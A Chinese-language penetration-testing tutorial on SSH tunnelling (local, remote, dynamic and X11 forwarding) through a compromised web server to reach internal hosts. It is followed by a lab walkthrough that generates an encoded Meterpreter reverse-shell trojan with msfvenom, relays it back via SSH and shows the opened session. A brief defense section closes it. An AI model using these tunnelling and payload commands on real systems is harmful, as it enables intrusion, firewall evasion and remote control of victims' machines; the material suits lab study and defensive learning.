0x00 简介
在内网中,几乎所有的Linux服务器都 支持SSH协议,一般情况下SSH的端口协议是允许通过防火墙的,所以会经常被攻击利用。而且,SSH协议的传输过程是加密的,所以我们很难在流量分析中区别是否是被攻击者利用,攻击者使用SSH协议作为隧道突破防火墙后,可以建立一些TCP连接进行操作。
0x01 基础操作
转发需要知道的参数:
-C:压缩传输,提高传输速度
-f :将ssh传输转入后台执行,不占用当前的shell
-N:建立静默连接(建立了连接,但是看不到具体的会话)
-g 允许远程主机连接本地用于转发的端口。
-L:本地端口转发
-R:远程端口转发
-D:动态转发(socks代理)
-P:指定ssh端口
1、本地转发
如下图所示,左侧为攻击者的VPS,中间是一台防火墙,右侧则是一个小型的内网;外部的VPS能访问内网的Web服务器,但不能访问数据库服务器,数据库和Web服务器能互相访问。
我们要做的目标是:以Web服务器作为跳板,访问内网中数据库服务器的3389端口。
我们只需要把数据库服务器172.16.0.106的3389端口映射到VPS上的1152端口,再访问VPS的1152端口就可以访问数据库服务器的3389端口了。
我们在VPS上执行下面命令:
ssh -CfNg -L 1152(VPS端口):172.16.0.106(数据库服务器IP):3389(数据库服务器端口) [email protected](Web服务器)
执行后输入密码即可:
┌──(VPS㉿kali)-[~]
└─$ ssh -CfNg -L 1152:172.16.0.106:3389 [email protected]
[email protected]'s password:
我们可以在VPS查看下监听的端口:
┌──(VPS㉿kali)-[~]
└─$ netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:1152 0.0.0.0:* LISTEN 935867/ssh
tcp6 0 0 :::1152 :::* LISTEN 935867/ssh
然后我们在VPS下可以用remmina进行远程桌面连接127.0.0.1:1152
,可以看到我们已经可以访问数据库服务器的远程桌面:
整个过程就是我们在本地访问1152端口,就是通过ssh协议将数据传输到远程端口3389,我们可以看到是从web服务器(172.16.0.108)的IP进行登录:
C:\Users\test\Desktop>netstat -ano | findstr "3389"
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1000
TCP 172.16.0.106:3389 172.16.0.108:57100 ESTABLISHED 1000
TCP [::]:3389 [::]:0 LISTENING 1000
UDP 0.0.0.0:3389 *:* 1000
UDP [::]:3389 *:* 1000
2、远程转发
如下图所示,左侧为攻击者的VPS,中间是一台防火墙,右侧则是一个小型的内网;外部的VPS不能访问内网的Web服务器和数据库服务器,数据库和Web服务器能互相访问,但Web服务器可以访问VPS。
我们要做的目标是:以Web服务器作为跳板,访问内网中数据库服务器的3389端口。
一样是以Web服务器作为跳板,通过访问VPS的1152端口将数据传输到数据库服务器的3389端口,与上面不同的是执行命令的是在Web服务器。
VPS不用操作,我们只在Web服务器执行以下命令,输入vps的密码即可:
ssh -CfNg -R 1152(VPS端口):172.16.0.106(数据库服务器IP):3389(数据库服务器端口) [email protected](VPS)
我们在VPS服务器查看端口:
┌──(VPS㉿kali)-[~]
└─$ netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:1152 0.0.0.0:* LISTEN 935867/ssh
tcp6 0 0 :::1152 :::* LISTEN 935867/ssh
然后我们在VPS下可以用remmina进行远程桌面连接127.0.0.1:1152
就可以连接到数据库服务器的3389端口了。
3、动态转发
如下图所示,左侧为攻击者的VPS,中间是一台防火墙,右侧则是一个小型的内网;外部的VPS能访问内网的Web服务器,但不能访问数据库服务器,数据库和Web服务器能互相访问。
我们要做的目标是:以Web服务器作为跳板建立socks代理,访问内网中服务器
实践上就是建立SOCKS 4/5的代理通道,我们在VPS上输入下面命令:
ssh -CfNg -D 8811(VPS端口) [email protected](Web服务器)
我们在VPS服务器查看端口:
┌──(VPS㉿kali)-[~]
└─$ netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8811 0.0.0.0:* LISTEN 935868/ssh
tcp6 0 0 :::8811 :::* LISTEN 935868/ssh
然后我们可以使用kali自带的proxychains,我们只需要编辑一下配置文件:
┌──(VPS㉿kali)-[~]
└─$ sudo vim /etc/proxychains4.conf
在最后一行加入内容socks4 127.0.0.1 8811
:
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 8811
保存后,我们使用下面命令即可访问到数据库服务器的3389端口:
┌──(VPS㉿kali)-[~]
└─$ proxychains4 remmina
直接输入数据库服务器IP即可连接:
当然也可以使用nmap、hydra等工具对内网进行扫描,只需要在前面加上proxychains4即可。
4、X协议转发
远程登陆 Linux GUI 运行图形化界面工具,类似于VNC和X windows。
如下图所示,左侧为攻击者的VPS,中间是一台防火墙,右侧则是一个小型的内网;外部的VPS能访问内网的Web服务器,但不能访问数据库服务器,数据库和Web服务器能互相访问。
我们要做的目标是:以Web服务器作为跳板建立隧道,访问内网中服务器
我们在VPS上输入下面命令:
ssh -X [email protected](Web服务器)
可以发现终端已经变成了web服务器的终端界面,我们在当前的终端输入firefox、remmina就是打开web服务器上的软件,相当于VPS上实现图形化操作,查询端口两边都监听了6010端口:
图中的oscp是VPS,kali是Web服务器,106是数据库服务器
0x02 实战
实验环境如图,下面的环境相当于我们拿到了web服务器的webshell,但是是内网机器,VPS不能直接访问到Web服务器,而且VPS上没有Msf,VPS也不能直接访问本地Kali Linux,但web服务器和本地Kali Linux可以访问到VPS,这个时候要用到Msf我们需要使用SSH协议进行端口转发,当然也可以用reGeog来做代理。
我们要做的目标是:利用VPS作为中转,本地Kali Linux利用Msf控制内网中的Web服务器
在公网的VPS需要修改一下ssh的配置文件:
sudo vim /etc/ssh/sshd_config
把以下三项开启并修改为yes:
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
先在本地的Kali Linux上进行启动Msf监听:
msf6 exploit(multi/handler) > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_rc4_dns
msf6 exploit(multi/handler) > set lport 53
msf6 exploit(multi/handler) > set lhost 172.16.0.107
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp_rc4_dns):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.16.0.107 yes The DNS hostname to connect back to
LPORT 53 yes The listen port
RC4PASSWORD msf yes Password to derive RC4 key from
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > run
使用msfvenom生成一个木马,lhost填写VPS的IP:
msfvenom --platform Windows -p windows/meterpreter/reverse_tcp_rc4_dns lhost=172.16.0.108 lport=443 rc4password=msf -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o dns_rc4.exe
下一步就在本地Kali Linux上执行ssh转发:
┌──(Kali㉿Kali)-[~]
└─$ ssh -C -f -N -g -R 443(VPS端口):172.16.0.107(本地Kali):53(Kali监听端口) [email protected]
然后查看本地Kali的端口状态:
┌──(kali㉿kali)-[~]
└─$ netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 172.16.0.107:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
查看VPS的端口状态:
──(vps㉿vps)-[~]
└─$ netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::443 :::* LISTEN -
最后我们把生成的木马dns_rc4.exe
放在Web服务器上执行,就可以看到msf反弹回来一个shell:
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.16.0.107:53
[*] Sending stage (175178 bytes) to 172.16.0.107
[*] Meterpreter session 51 opened (172.16.0.107:53 -> 172.16.0.107:42804 ) at 2022-02-10 15:13:17 +0800
meterpreter > ifconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:ad:5b:f3
MTU : 1500
IPv4 Address : 172.16.0.105
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::7d95:97e1:6b19:c934
IPv6 Netmask : ffff:ffff:ffff:ffff::
可以看到全程是走ssh加密协议的:
0x03 防御SSH隧道攻击
在系统中配置SSH远程管理白名单,在ACL中限制只有特定的IP地址才能连接SSH,以及设置系统完全使用带外管理等方法,都可以避免这一问题。
0x04 参考
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/ssh_tunnel.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。